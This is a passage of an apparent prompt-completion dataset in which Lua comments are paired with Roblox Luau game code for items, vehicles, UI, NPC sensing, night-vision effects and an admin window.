"\n\nREMOTES.Booster.OnServerEvent:connect(function(player, action, item)\n\tlocal character\t= player.Character\n\tif character then\n\t\tlocal equipped\t= character.Equipped.Value\n\t\t\n\t\tif item == equipped then\n\t\t\tif action == \"Init\" then\n\t\t\t\tInit(player, item)\n\t\t\telseif action == \"Use\" then\n\t\t\t\tif inits[player] then\n\t\t\t\t\tif inits[player].Item == item then\n\t\t\t\t\t\tlocal elapsed\t= tick() - inits[player].Start\n\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\tlocal dif\t\t= math.abs(elapsed - config.UseTime)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif dif <= 0.5 then\n\t\t\t\t\t\t\tlocal humanoid\t= character.Humanoid\n\t\t\t\t\t\t\tif config.Boost == \"Armor\" then\n\t\t\t\t\t\t\t\tServerScriptService.ArmorScript.Boost:Fire(character, config.Potency)\n\t\t\t\t\t\t\t\tREMOTES.Effect:FireAllClients(\"Booster\", character, \"Armor\")\n\t\t\t\t\t\t\telseif config.Boost == \"Health\" then\n\t\t\t\t\t\t\t\thumanoid.Health\t= math.min(humanoid.Health + config.Potency, humanoid.MaxHealth)\n\t\t\t\t\t\t\t\tREMOTES.Effect:FireAllClients(\"Booster\", character, \"Health\")\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\titem.Stack.Value\t= item.Stack.Value - 1\n\t\t\t\t\t\t\tif item.Stack.Value == 0 then\n\t\t\t\t\t\t\t\titem:Destroy()\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nPlayers.PlayerRemoving:connect(function(player)\n\tif inits[player] then\n\t\tinits[player]\t= nil\n\tend\nend)\n"} +{"prompt": "--[=[\n\t@param optionB Option\n\t@return Option\n\tIf both `self` and `optionB` have values _or_ both don't have a value,\n\tthen this returns None. Otherwise, it returns the option that does have\n\ta value.\n]=]", "completion": "\nfunction Option:XOr(optB)\n\tlocal someOptA = self:IsSome()\n\tlocal someOptB = optB:IsSome()\n\tif someOptA == someOptB then\n\t\treturn Option.None\n\telseif someOptA then\n\t\treturn self\n\telse\n\t\treturn optB\n\tend\nend\n\n"} +{"prompt": "--[[Drivetrain]]", "completion": "\t\n\tTune.Config\t\t\t= \"AWD\"\t\t--\"FWD\" , \"RWD\" , \"AWD\"\n\t\n\t--Differential Settings\t\n\tTune.FDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t(Max threshold of applying full lock determined by deviation from avg speed)\n\tTune.FDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)\n\tTune.RDiffSlipThres\t= 50\t\t-- 1 - 100%\n\tTune.RDiffLockThres\t= 50\t\t-- 0 - 100%\n\tTune.CDiffSlipThres\t= 50\t\t-- 1 - 100%\t\t\t\t[AWD Only]\n\tTune.CDiffLockThres\t= 50\t\t-- 0 - 100%\t\t\t\t[AWD Only]\n\t\n\t--Traction Control Settings\n\tTune.TCSEnabled\t\t= true\t\t-- Implements TCS\n\tTune.TCSThreshold\t= 10\t\t-- Slip speed allowed before TCS starts working (in SPS)\n\tTune.TCSGradient\t= 20\t\t-- Slip speed gradient between 0 to max reduction (in SPS)\n\tTune.TCSLimit\t\t= 10\t\t-- Minimum amount of torque at max reduction (in percent)\n\t"} +{"prompt": "--[[\n\tController that sets different user interface views for the client. Listens to player state updates, creating and\n\tdestructing views as necessary.\n]]", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)\n\nlocal UIViews = ReplicatedStorage.Source.UIViews\n\nlocal views = {\n\tpregame = require(UIViews.PreGame),\n\twarmup = require(UIViews.Warmup),\n\tgame = require(UIViews.Game),\n\tspectating = require(UIViews.Spectating),\n\tpostGame = require(UIViews.PostGame)\n}\n\nlocal currentView\n\nlocal UIController = {}\n"} +{"prompt": "--- Internal function that returns a point type\n-- @param group string name\n-- @param castMode numeric enum value\n-- @param lastPosition Vector3 value", "completion": "\nfunction Hitbox:_CreatePoint(group: string?, castMode: number, lastPosition: Vector3?): Point\n\treturn {\n\t\tGroup = group,\n\t\tCastMode = castMode,\n\t\tLastPosition = lastPosition,\n\t\tWorldSpace = nil,\n\t\tInstances = {},\n\t}\nend\n"} +{"prompt": "--// States", "completion": "\nlocal L_60_ = false\nlocal L_61_ = false\nlocal L_62_ = false\nlocal L_63_ = false\nlocal L_64_ = false\nlocal L_65_ = true\nlocal L_66_ = false\nlocal L_67_ = false\nlocal L_68_ = false\nlocal L_69_ = false\nlocal L_70_ = false\nlocal L_71_ = false\nlocal L_72_ = false\nlocal L_73_ = false\n\nlocal L_74_ = false\nlocal L_75_ = true\nlocal L_76_ = true\n\nlocal L_77_ = false\n\nlocal L_78_\nlocal L_79_\n\nlocal L_80_\nlocal L_81_\nlocal L_82_\n\nlocal L_83_ = L_24_.FireMode\n\nlocal L_84_ = 0\nlocal L_85_ = false\nlocal L_86_ = true\nlocal L_87_ = false\n\nlocal L_88_ = 70\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfunction scriptChildModified(child)\n\tlocal fileList = animNames[child.Name]\n\tif (fileList ~= nil) then\n\t\tconfigureAnimationSet(child.Name, fileList)\n\tend\t\nend\n\nscript.ChildAdded:connect(scriptChildModified)\nscript.ChildRemoved:connect(scriptChildModified)\n"} +{"prompt": "--[=[\n\tOptions for the broadcast receiver.\n]=]", "completion": "\nexport type BroadcastReceiverOptions = {\n\t--[=[\n\t\tA function that, when called, should fire a remote that calls\n\t\t`start(player)` on the server broadcaster.\n\t]=]\n\tstart: () -> any,\n}\n"} +{"prompt": "--[[ END OF SERVICES ]]", "completion": "\n\nlocal LocalPlayer = PlayersService.LocalPlayer\nwhile LocalPlayer == nil do\n\tPlayersService.ChildAdded:wait()\n\tLocalPlayer = PlayersService.LocalPlayer\nend\n\nlocal PlayerGui = LocalPlayer:WaitForChild(\"PlayerGui\")\n\nlocal success, UserShouldLocalizeGameChatBubble = pcall(function()\n\treturn UserSettings():IsUserFeatureEnabled(\"UserShouldLocalizeGameChatBubble\")\nend)\nlocal UserShouldLocalizeGameChatBubble = success and UserShouldLocalizeGameChatBubble\n\nlocal UserFixBubbleChatText do\n\tlocal success, value = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserFixBubbleChatText\")\n\tend)\n\tUserFixBubbleChatText = success and value\nend\n\nlocal UserRoactBubbleChatBeta do\n\tlocal success, value = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserRoactBubbleChatBeta\")\n\tend)\n\tUserRoactBubbleChatBeta = success and value\nend\n\nlocal UserPreventOldBubbleChatOverlap do\n\tlocal success, value = pcall(function()\n\t\treturn UserSettings():IsUserFeatureEnabled(\"UserPreventOldBubbleChatOverlap\")\n\tend)\n\tUserPreventOldBubbleChatOverlap = success and value\nend\n\nlocal function getMessageLength(message)\n\treturn utf8.len(utf8.nfcnormalize(message))\nend\n"} +{"prompt": "-- Ensures that SenseManager does nothing if accidentally required on client", "completion": "\nif not RunService:IsServer() then\n\treturn SenseManager\nend\n\nlocal octree = Octree.new()\nlocal budgetRunner = BudgetRunner.new(FRAME_BUDGET)\nlocal agentQueue = CircularQueue.new()\nlocal agentIdToRootPart = {}\nlocal enabled = true\n\nlocal queryCount = 0\nlocal queryDuration = 0\nlocal lastMetricReportTime = tick()\n\nfunction SenseManager.registerEvent(eventData)\n\tif enabled then\n\t\treturn octree:registerEvent(eventData)\n\telse\n\t\treturn nil\n\tend\nend\n\nfunction SenseManager.registerAgent(agentId, rootPart)\n\tif enabled then\n\t\tagentIdToRootPart[agentId] = rootPart\n\t\tagentQueue:push(agentId)\n\tend\nend\n\nfunction SenseManager.unregisterAgent(agentId)\n\tif enabled then\n\t\tagentIdToRootPart[agentId] = nil\n\t\tagentQueue:remove(agentId)\n\tend\nend\n\nfunction SenseManager.removeEventById(eventId)\n\tif enabled then\n\t\toctree:removeEventById(eventId)\n\tend\nend\n\nfunction SenseManager.queryRegion(center, volume)\n\tif enabled then\n\t\tlocal startTime = tick()\n\t\tlocal result = octree:queryRegion(center, volume)\n\t\tlocal endTime = tick()\n\t\t\n\t\tqueryDuration = queryDuration + endTime - startTime\n\t\tqueryCount = queryCount + 1\n\t\t\n\t\treturn result\n\telse\n\t\treturn {}\n\tend\nend\n\nfunction SenseManager.querySphere(center, radius)\n\tif enabled then\n\t\tlocal startTime = tick()\n\t\tlocal diameter = radius * 2\n\t\tlocal result = {}\n\t\t\n\t\tfor _, event in ipairs(octree:queryRegion(center, Vector3.new(diameter, diameter, diameter))) do\n\t\t\tif (event.position - center).Magnitude < radius then\n\t\t\t\ttable.insert(result, event)\n\t\t\tend\n\t\tend\n\t\tlocal endTime = tick()\n\t\t\n\t\tqueryDuration = queryDuration + endTime - startTime\n\t\tqueryCount = queryCount + 1\n\t\n\t\treturn result\n\telse\n\t\treturn {}\n\tend\nend\n\nfunction SenseManager.setEnabled(state)\n\tif state ~= enabled then\n\t\tif state then\n\t\t\toctree = Octree.new()\n\t\t\tagentQueue = CircularQueue.new()\n\t\t\tagentIdToRootPart = {}\n\t\telse\n\t\t\toctree:destroy()\n\t\t\tagentQueue = nil\n\t\t\tagentIdToRootPart = nil\n\t\tend\n\t\t\n\t\tenabled = state\n\tend\nend\n\nRunService.Heartbeat:Connect(function()\n\tlocal frameBudgetFull = false\n\t\n\tlocal startAgentId = agentQueue:next()\n\tlocal currAgentId = startAgentId\n\tif currAgentId then\n\t\tbudgetRunner:tear()\n\t\trepeat\n\t\t\tlocal rootPart = agentIdToRootPart[currAgentId]\n\t\t\tif rootPart then\n\t\t\t\tframeBudgetFull = not budgetRunner:run(function()\n\t\t\t\t\tBlackboards.getAgentBlackboard(currAgentId).senseEvents = SenseManager.querySphere(rootPart.Position, SENSE_RADIUS)\n\t\t\t\tend)\n\t\t\tend\n\t\t\tcurrAgentId = agentQueue:next()\n\t\tuntil(frameBudgetFull or currAgentId == startAgentId)\n\tend\n\t\n\tlocal currTime = tick()\n\tif currTime >= lastMetricReportTime + METRIC_REPORT_RATE then\n\t\tSenseManagerStatEvent:FireAllClients(currTime - lastMetricReportTime, queryCount, queryDuration)\n\t\tqueryDuration = 0\n\t\tqueryCount = 0\n\t\tlastMetricReportTime = currTime\n\tend\nend)\n\nreturn SenseManager\n"} +{"prompt": "-- [[ SCRIPT ENUMS ]]", "completion": "\nlocal BubbleColor = {\tWHITE = \"dub\",\n\t\t\t\t\tBLUE = \"blu\",\n\t\t\t\t\tGREEN = \"gre\",\n\t\t\t\t\tRED = \"red\" }\n"} +{"prompt": "--//DEFAULT VALUES", "completion": "\n\nlocal defexposure = game.Lighting.ExposureCompensation\n\nlocal nvg\nlocal onanim\nlocal gui\nlocal offanim\nlocal config\nlocal onremoved\nlocal setting\nlocal helmet\n\nfunction removehelmet()\n\tif plr.Character then\n\tonremoved:Disconnect()\n\tanimating = false\n\ttogglenvg(false)\n\tactionservice:UnbindAction(\"nvgtoggle\")\n\tif gui then\n\t\tgui:Destroy()\n\tend\n\tif helmet then\n\t\thelmet:Destroy()\n\tend\n\tend\nend\n\nfunction oncharadded(newchar)\n\tnewchar:WaitForChild(\"Humanoid\").Died:connect(function()\n\t\tremovehelmet()\n\tend)\n\tnewchar.ChildAdded:connect(function(child)\n\t\tlocal removebutton\n\t\tif child.Name == \"Helmet\" then\n\t\t\thelmet = child\n\t\t\tgui = Instance.new(\"ScreenGui\")\n\t\t\tgui.IgnoreGuiInset = true\n\t\t\t\n\t\t\tremovebutton = Instance.new(\"TextButton\")\n\t\t\tremovebutton.Text = \"Helmet\"\n\t\t\tremovebutton.Size = UDim2.new(.05,0,.035,0)\n\t\t\tremovebutton.TextColor3 = Color3.new(.75,.75,.75)\n\t\t\tremovebutton.Position = UDim2.new(.1,0,.3,0)\n\t\t\tremovebutton.BackgroundTransparency = .45\n\t\t\tremovebutton.BackgroundColor3 = Color3.fromRGB(124, 52, 38)\n\t\t\tremovebutton.Font = Enum.Font.SourceSansBold\n\t\t\tremovebutton.TextScaled = true\n\t\t\tremovebutton.MouseButton1Down:connect(removehelmet)\n\t\t\t\n\t\t\tremovebutton.Parent = gui\n\t\t\tgui.Parent = plr.PlayerGui\n\t\t\t\n\t\t\tonremoved = child.AncestryChanged:Connect(function(_, parent)\n\t\t\tif not parent then\n\t\t\t\t\tremovehelmet()\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\tend\n\t\tlocal newnvg = child:WaitForChild(\"Up\",.5)\n\t\tif newnvg then\n\t\t\tnvg = newnvg\n\t\t\tconfig = require(nvg:WaitForChild(\"AUTO_CONFIG\"))\n\t\t\tsetting = nvg:WaitForChild(\"NVG_Settings\")\n\t\t\t\n\t\t\t\n\t\t\tlocal noise = Instance.new(\"ImageLabel\")\n\t\t\tnoise.BackgroundTransparency = 1\n\t\t\tnoise.ImageTransparency = 1\n\t\t\t\n\t\t\tlocal overlay = noise:Clone()\n\t\t\toverlay.Image = \"rbxassetid://\"..setting.OverlayImage.Value\n\t\t\toverlay.Size = UDim2.new(1,0,1,0)\n\t\t\toverlay.Name = \"Overlay\"\n\t\t\t\n\t\t\tlocal buttonpos = setting.RemoveButtonPosition.Value\n\t\t\tremovebutton.Position = UDim2.new(buttonpos.X,0,buttonpos.Y,0)\n\t\t\t\n\t\t\tnoise.Name = \"Noise\"\n\t\t\tnoise.AnchorPoint = Vector2.new(.5,.5)\n\t\t\tnoise.Position = UDim2.new(.5,0,.5,0)\n\t\t\tnoise.Size = UDim2.new(2,0,2,0)\n\t\t\t\n\t\t\t\n\t\t\toverlay.Parent = gui\n\t\t\tnoise.Parent = gui\n\t\n\t\t\tlocal info = config.tweeninfo\n\n\t\t\tlocal function addtweens(base,extra)\n\t\t\t\tif extra then\n\t\t\t\t\tfor _,tween in pairs(extra)do\n\t\t\t\t\t\ttable.insert(base,tween)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tonanim = config.onanim\n\t\t\toffanim = config.offanim\n\t\t\t\n\t\t\ton_overlayanim = {\n\t\t\t\ttweenservice:Create(game.Lighting,info,{ExposureCompensation = setting.Exposure.Value}),\n\t\t\t\ttweenservice:Create(colorcorrection,info,{Brightness = setting.OverlayBrightness.Value,Contrast = .8,Saturation = -1,TintColor = setting.OverlayColor.Value}),\n\t\t\t\ttweenservice:Create(gui.Overlay,info,{ImageTransparency = 0}),\n\t\t\t\ttweenservice:Create(gui.Noise,info,{ImageTransparency = 0}),\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\toff_overlayanim = {\n\t\t\t\ttweenservice:Create(game.Lighting,info,{ExposureCompensation = defexposure}),\n\t\t\t\ttweenservice:Create(colorcorrection,info,{Brightness = 0,Contrast = 0,Saturation = 0,TintColor = Color3.fromRGB(255, 255, 255)}),\n\t\t\t\ttweenservice:Create(gui.Overlay,info,{ImageTransparency = 1}),\n\t\t\t\ttweenservice:Create(gui.Noise,info,{ImageTransparency = 1})\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tactionservice:BindAction(\"nvgtoggle\",function() togglenvg(not nvgactive) end,false,Enum.KeyCode.N)\n\t\t\t\n\t\tend\n\tend)\nend\n\nplr.CharacterAdded:connect(oncharadded)\n\nlocal oldchar = workspace:FindFirstChild(plr.Name)\nif oldchar then\n\toncharadded(oldchar)\nend\n\n\nfunction playtween(tweentbl)\n\tspawn(function()\n\t\tfor _,step in pairs(tweentbl) do\n\t\t\tif typeof(step) == \"number\" then\n\t\t\t\twait(step)\n\t\t\telse\n\t\t\t\tstep:Play()\n\t\t\tend\n\t\tend\n\tend)\nend\n\nfunction applyprops(obj,props)\n\tfor propname,val in pairs(props)do\n\t\tobj[propname] = val\n\tend\nend\n\n\n\nfunction cycle(grain)\n\tlocal label = gui.Noise\n\tlocal source = grain.src\n\tlocal newframe\n\trepeat newframe = source[math.random(1, #source)]; \n\tuntil newframe ~= grain.last \n\tlabel.Image = 'rbxassetid://'..newframe\n\tlocal rand = math.random(230,255)\n\tlabel.Position = UDim2.new(math.random(.4,.6),0,math.random(.4,.6),0)\n\tlabel.ImageColor3 = Color3.fromRGB(rand,rand,rand)\n\tgrain.last = newframe\nend\n\n\nfunction togglenvg(bool)\n\tif not animating and nvg then\n\t\tnvgevent:FireServer()\n\t\tgui.TextButton.Visible = not bool\n\t\tanimating = true\n\t\tnvgactive = bool\n\t\tif config.lens then\n\t\t\tconfig.lens.Material = bool and \"Neon\" or \"Glass\"\n\t\tend\n\t\tif bool then\n\t\t\tplaytween(onanim)\n\t\t\tdelay(.75,function()\n\t\t\t\tplaytween(on_overlayanim)\n\t\t\t\tspawn(function()\n\t\t\t\t\twhile nvgactive do \n\t\t\t\t\t\tcycle(config.dark)\n\t\t\t\t\t\tcycle(config.light)\n\t\t\t\t\t\twait(0.05)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tanimating = false\n\t\t\tend)\n\t\telse\n\t\t\tplaytween(offanim)\n\t\t\tdelay(.5,function()\n\t\t\t\tplaytween(off_overlayanim)\n\t\t\t\tanimating = false\n\t\t\tend)\n\t\tend\n\tend\t\nend\n\n\nnvgevent.OnClientEvent:connect(function(nvg,activate)\n\tlocal twistjoint = nvg:WaitForChild(\"twistjoint\")\n\tlocal config = require(nvg.AUTO_CONFIG)\n\tlocal lens = config.lens\n\tif lens then\n\t\tlens.Material = activate and \"Neon\" or \"Glass\"\n\tend\n\tplaytween(config[activate and \"onanim\" or \"offanim\"])\nend)\n\nlocal lighting = game.Lighting\nlocal rs = game.ReplicatedStorage\n\nlocal autolighting = rs:WaitForChild(\"EnableAutoLighting\")\n\nif autolighting.Value then\n\t\n\tfunction llerp(a,b,t)\n\t\treturn a*(1-t)+b*t\n\tend\n\t\n\tlocal minbrightness = rs:WaitForChild(\"MinBrightness\").Value\n\tlocal maxbrightness = rs:WaitForChild(\"MaxBrightness\").Value\n\tlocal minambient = rs:WaitForChild(\"MinAmbient\").Value\n\tlocal maxambient = rs:WaitForChild(\"MaxAmbient\").Value\n\tlocal minoutdoor = rs:WaitForChild(\"MinOutdoorAmbient\").Value\n\tlocal maxoutdoor = rs:WaitForChild(\"MaxOutdoorAmbient\").Value\n\n\tfunction setdaytime()\n\t\tlocal newtime = lighting.ClockTime\n\t\tlocal middaydiff = math.abs(newtime-12)\n\t\tlocal f = (1-middaydiff/12)\n\t\tlighting.Brightness = llerp(minbrightness,maxbrightness,f)\n\t\tlighting.Ambient = minambient:lerp(maxambient,f)\n\t\tlighting.OutdoorAmbient = minoutdoor:lerp(maxoutdoor,f)\n\tend\n\t\n\tgame:GetService(\"RunService\").RenderStepped:connect(setdaytime)\n\nend\n\n"} +{"prompt": "-- Optimized CFrame interpolator module ~ by Stravant\n-- Based off of code by Treyreynolds posted on the Roblox Developer Forum", "completion": "\n\nlocal fromAxisAngle = CFrame.fromAxisAngle\nlocal components = CFrame.new().components\nlocal inverse = CFrame.new().inverse\nlocal v3 = Vector3.new\nlocal acos = math.acos\nlocal sqrt = math.sqrt\nlocal invroot2 = 1/math.sqrt(2)\n\nreturn function(c0, c1, t) -- (CFrame from, CFrame to) -> (float theta, (float fraction -> CFrame between))\n\t-- The expanded matrix\n\tlocal _, _, _, xx, yx, zx, \n\t xy, yy, zy, \n\t xz, yz, zz = components(inverse(c0)*c1)\n\t\n\t-- The cos-theta of the axisAngles from \n\tlocal cosTheta = (xx + yy + zz - 1)/2\n\t\n\t-- Rotation axis\n\tlocal rotationAxis = v3(yz-zy, zx-xz, xy-yx)\n\t\n\t-- The position to tween through\n\tlocal positionDelta = (c1.p - c0.p)\n\t\t\n\t-- Theta\n\tlocal theta;\t\t\t\n\t\t\n\t-- Catch degenerate cases\n\tif cosTheta >= 0.999 then\n\t\t\treturn c0 + positionDelta*t\n\telseif cosTheta <= -0.999 then\n\t\t-- Case exactly opposite rotations, disambiguate\n\t\ttheta = math.pi\n\t\txx = (xx + 1) / 2\n\t\tyy = (yy + 1) / 2\n\t\tzz = (zz + 1) / 2\n\t\tif xx > yy and xx > zz then\n\t\t\tif xx < 0.001 then\n\t\t\t\trotationAxis = v3(0, invroot2, invroot2)\n\t\t\telse\n\t\t\t\tlocal x = sqrt(xx)\n\t\t\t\txy = (xy + yx) / 4\n\t\t\t\txz = (xz + zx) / 4\n\t\t\t\trotationAxis = v3(x, xy/x, xz/x)\n\t\t\tend\n\t\telseif yy > zz then\n\t\t\tif yy < 0.001 then\n\t\t\t\trotationAxis = v3(invroot2, 0, invroot2)\n\t\t\telse\n\t\t\t\tlocal y = sqrt(yy)\n\t\t\t\txy = (xy + yx) / 4\n\t\t\t\tyz = (yz + zy) / 4\n\t\t\t\trotationAxis = v3(xy/y, y, yz/y)\n\t\t\tend\t\n\t\telse\n\t\t\tif zz < 0.001 then\n\t\t\t\trotationAxis = v3(invroot2, invroot2, 0)\n\t\t\telse\n\t\t\t\tlocal z = sqrt(zz)\n\t\t\t\txz = (xz + zx) / 4\n\t\t\t\tyz = (yz + zy) / 4\n\t\t\t\trotationAxis = v3(xz/z, yz/z, z)\n\t\t\tend\n\t\tend\n\telse\n\t\t-- Normal case, get theta from cosTheta\n\t\ttheta = acos(cosTheta)\n\tend\n\t\n\treturn c0*fromAxisAngle(rotationAxis, theta*t) + positionDelta*t\nend\n"} +{"prompt": "-- Bind function to fire event", "completion": "\nfireEvent.OnServerEvent:connect(function(player, target)\n\tif tool.Parent == player.Character then\n\t\t-- If tool has enough shots then fires. Otherwise reloads.\n\t\tif currentAmmo <= 0 then\n\t\t\treturn reload()\n\t\tend\n\t\tif canFire then\n\t\t\tcanFire = false\n\t\t\tcurrentAmmo = currentAmmo - 1\n\t\t\tfireSound:Play()\n\t\t\tcreateBullet(target)\n\t\t\tdelay(attackCooldown, function()\n\t\t\t\tcanFire = true\n\t\t\tend)\n\t\tend\n\tend\nend)\n\n"} +{"prompt": "--// All global vars will be wiped/replaced except script", "completion": "\nreturn function(data)\n\t--local client = service.GarbleTable(client)\n\tlocal Player = service.Players.LocalPlayer\n\tlocal Mouse = Player:GetMouse()\n\tlocal InputService = service.UserInputService\n\tlocal gIndex = data.gIndex\n\tlocal gTable = data.gTable\n\t\n\tlocal Event = gTable.BindEvent\n\tlocal GUI = gTable.Object\n\tlocal Name = data.Name\n\tlocal Icon = data.Icon\n\tlocal Size = data.Size\n\tlocal Menu = data.Menu\n\tlocal Title = data.Title\n\tlocal Ready = data.Ready\n\tlocal Walls = data.Walls\n\tlocal noHide = data.NoHide\n\tlocal noClose = data.NoClose\n\tlocal onReady = data.OnReady\n\tlocal onClose = data.OnClose\n\tlocal onResize = data.OnResize\n\tlocal onRefresh = data.OnRefresh\n\tlocal onMinimize = data.OnMinimize\n\tlocal ContextMenu = data.ContextMenu\n\tlocal ResetOnSpawn = data.ResetOnSpawn\n\tlocal CanKeepAlive = data.CanKeepAlive\n\tlocal iconClicked = data.IconClicked\n\tlocal SizeLocked = data.SizeLocked or data.SizeLock\n\tlocal CanvasSize = data.CanvasSize\n\tlocal Position = data.Position\n\tlocal Content = data.Content or data.Children\n\tlocal MinSize = data.MinSize or {150, 50}\n\tlocal MaxSize = data.MaxSize or {math.huge, math.huge}\n\tlocal curIcon = Mouse.Icon\n\tlocal isClosed = false\n\tlocal Resizing = false\n\tlocal Refreshing = false\n\tlocal DragEnabled = true\n\tlocal checkProperty = service.CheckProperty\n\tlocal specialInsts = {}\n\tlocal inExpandable\n\tlocal addTitleButton\n\tlocal LoadChildren\n\tlocal BringToFront\n\t\n\tlocal Drag = GUI.Drag\n\tlocal Close = Drag.Close\n\tlocal Hide = Drag.Hide\n\tlocal Iconf = Drag.Icon\n\tlocal Titlef = Drag.Title\n\tlocal Refresh = Drag.Refresh\n\tlocal rSpinner = Refresh.Spinner\n\tlocal Main = Drag.Main\n\tlocal Tooltip = GUI.Desc\n\tlocal ScrollFrame = GUI.Drag.Main.ScrollingFrame\n\tlocal LeftSizeIcon = Main.LeftResizeIcon\n\tlocal RightSizeIcon = Main.RightResizeIcon\n\tlocal RightCorner = Main.RightCorner\n\tlocal LeftCorner = Main.LeftCorner\n\tlocal RightSide = Main.RightSide\n\tlocal LeftSide = Main.LeftSide\n\tlocal TopRight = Main.TopRight\n\tlocal TopLeft = Main.TopLeft\n\tlocal Bottom = Main.Bottom\n\tlocal Top = Main.Top\n\t\n\tfunction Expand(ent, point, text)\n\t\tlocal label = point:FindFirstChild(\"Label\")\n\t\t\n\t\tif label then\n\t\t\tent.MouseLeave:connect(function(x,y)\n\t\t\t\tif inExpandable == ent then\n\t\t\t\t\tpoint.Visible = false\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tent.MouseMoved:connect(function(x,y)\n\t\t\t\tinExpandable = ent\n\t\t\t\tlabel.Text = text or ent.Desc.Value\n\t\t\t\t--point.Size = UDim2.new(0, 10000, 0, 10000)\n\t\t\t\tlocal newx = 500\n\t\t\t\tlocal bounds = service.TextService:GetTextSize(text or ent.Desc.Value, label.TextSize, label.Font, Vector2.new(1000,1000)).X-- point.Label.TextBounds.X\n\t\t\t\tlocal rows = math.floor(bounds/500)\n\t\t\t\trows = rows+1\n\t\t\t\tif rows<1 then rows = 1 end\n\t\t\t\tif bounds<500 then newx = bounds end\n\t\t\t\tpoint.Size = UDim2.new(0, newx+10, 0, (rows*20)+10)\n\t\t\t\tpoint.Position = UDim2.new(0, x+6, 0, y-40-((rows*20)+10))\n\t\t\t\tpoint.Visible = true\n\t\t\tend)\n\t\tend\n\tend\n\t\n\tfunction getNextPos(frame)\n\t\tlocal farXChild, farYChild\n\t\tfor i,v in next,frame:GetChildren() do\n\t\t\tif checkProperty(v, \"Size\") then\n\t\t\t\tif not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then\n\t\t\t\t\tfarXChild = v\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then\n\t\t\t\t\tfarYChild = v\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)\n\tend\n\t\n\tfunction LoadChildren(Obj, Children)\n\t\tif Children then\n\t\t\tlocal runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)\n\t\t\tfor class,data in next,Children do\n\t\t\t\tif type(data) == \"table\" then\n\t\t\t\t\tif not data.Parent then data.Parent = Obj end\n\t\t\t\t\tcreate(data.Class or data.ClassName or class, data)\n\t\t\t\telseif type(data) == \"function\" or type(data) == \"string\" and not runWhenDone then\n\t\t\t\t\trunWhenDone = functionify(data, Obj)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif runWhenDone then\n\t\t\t\trunWhenDone(Obj)\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfunction BringToFront()\n\t\tfor i,v in ipairs(Player.PlayerGui:GetChildren()) do\n\t\t\tif v:FindFirstChild(\"__ADONIS_WINDOW\") then\n\t\t\t\tv.DisplayOrder = 100\n\t\t\tend\n\t\tend\n\t\t\n\t\tGUI.DisplayOrder = 101\n\tend\n\t\n\tfunction addTitleButton(data)\n\t\tlocal startPos = 1\n\t\tlocal realPos\n\t\tlocal new \n\t\tlocal original = Hide\n\t\t\n\t\tif Hide.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\tif Close.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\tif Refresh.Visible then\n\t\t\tstartPos = startPos+1\n\t\tend\n\t\t\n\t\trealPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)\n\t\tdata.Position = data.Position or realPos\n\t\tdata.Size = data.Size or original.Size\n\t\tdata.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3\n\t\tdata.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency\n\t\tdata.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel\n\t\tdata.ZIndex = data.ZIndex or original.ZIndex\n\t\tdata.TextColor3 = data.TextColor3 or original.TextColor3\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3\n\t\tdata.TextSize = data.TextSize or original.TextSize\n\t\tdata.TextTransparency = data.TextTransparency or original.TextTransparency\n\t\tdata.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency\n\t\tdata.TextScaled = data.TextScaled or original.TextScaled\n\t\tdata.TextWrapped = data.TextWrapped or original.TextWrapped\n\t\t--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment\n\t\t--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment\n\t\tdata.Font = data.Font or original.Font\n\t\tdata.Parent = Drag\n\t\t\n\t\treturn create(\"TextButton\", data)\n\tend\n\t\n\tfunction functionify(func, object)\n\t\tif type(func) == \"string\" then\n\t\t\tif object then\n\t\t\t\tlocal env = GetEnv()\n\t\t\t\tenv.Object = object\n\t\t\t\treturn client.Core.LoadCode(func, env)\n\t\t\telse\n\t\t\t\treturn client.Core.LoadCode(func)\n\t\t\tend\n\t\telse\n\t\t\treturn 